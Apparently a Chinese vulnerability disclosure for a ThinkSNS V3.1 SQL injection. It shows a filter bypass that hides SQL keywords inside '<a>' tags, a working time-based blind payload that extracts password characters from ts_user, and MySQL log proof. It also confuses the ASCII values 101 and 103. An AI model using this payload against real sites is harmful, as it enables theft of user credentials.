ThinkSNS某处存在SQL注入漏洞,并可绕过防注入,获取任意数据
漏洞代码:\apps\public\Lib\Action\TestAction.class.php
540行处的源码:
public function updateCategorySort() { $stable = t($_GET['t']); !empty($stable) && model('CategoryTree')->setTable($stable)->updateSort(); }
代码中$stable函数代表的是表名,$stable直接使用GET方式传入:$stable = t($_GET['t']); 显然如果t函数处理不当,必然会造成SQL注入漏洞。
1)先看t函数的处理逻辑:(\core\OpenSociax\functions.inc.php 630行)
/** * t函数用于过滤标签,输出没有html的干净的文本 * @param string text 文本内容 * @return string 处理后内容 */ function t($text){ $text = nl2br($text); $text = real_strip_tags($text); $text = addslashes($text); $text = trim($text); return $text; }
t函数实现中在addslashes处理前还会先调用real_strip_tags函数进行处理
2)看下real_strip_tags函数的实现:(\core\OpenSociax\functions.inc.php 2274行)
function real_strip_tags($str, $allowable_tags="") { $str = html_entity_decode($str,ENT_QUOTES,'UTF-8'); return strip_tags($str, $allowable_tags); }
real_strip_tags函数实现的功能是过滤掉html标签,因此t函数的实现存在绕过防注入的缺陷,比如注入时可以将s<a>elect传入t函数,在经过real_strip_tags函数后s<a>elect就会被转化为select,进而绕过SQL注入的关键字正则匹配检测。
因此可以构造如下Payload进行盲注:
/index.php?app=public&mod=Test&act=updateCategorySort&t=user/**/W<a>HERE/**/IF((S<a>ELECT/**/A<a>SCII(S<a>UBSTRING(PASSWORD,1,1))F<a>ROM/**/ts_user/**/L<a>IMIT/**/1)=101,S<a>LEEP(2.02),0)%23
如果ASCII(SUBSTRING(PASSWORD,1,1)) = 103即字符e ,那么就会执行sleep(2.02),每次执行后需要更改sleep的时间,不然会有缓存,导致不会有sleep的效果,这里可以使用sleep(2.03)、sleep(2.04)这种递增小数位的办法来绕过缓存。
利用证明:(本地测试)
https://127.0.0.1/thinksns-V3.1/index.php?app=public&mod=Test&act=updateCategorySort&t=user/**/W<a>HERE/**/IF((S<a>ELECT/**/A<a>SCII(S<a>UBSTRING(PASSWORD,1,1))F<a>ROM/**/ts_user/**/L<a>IMIT 1)=101,1=S<a>LEEP(2.02),0)%23
Mysql日志输出如下:
15 QuerySHOW COLUMNS FROM ts_user/**/where/**/if((select/**/ascii(substring(password,1,1))from/**/ts_user/**/limit 1)=101,sleep(2.02),0)#
成功绕过防注入进行时间延迟盲注。。
加强过滤逻辑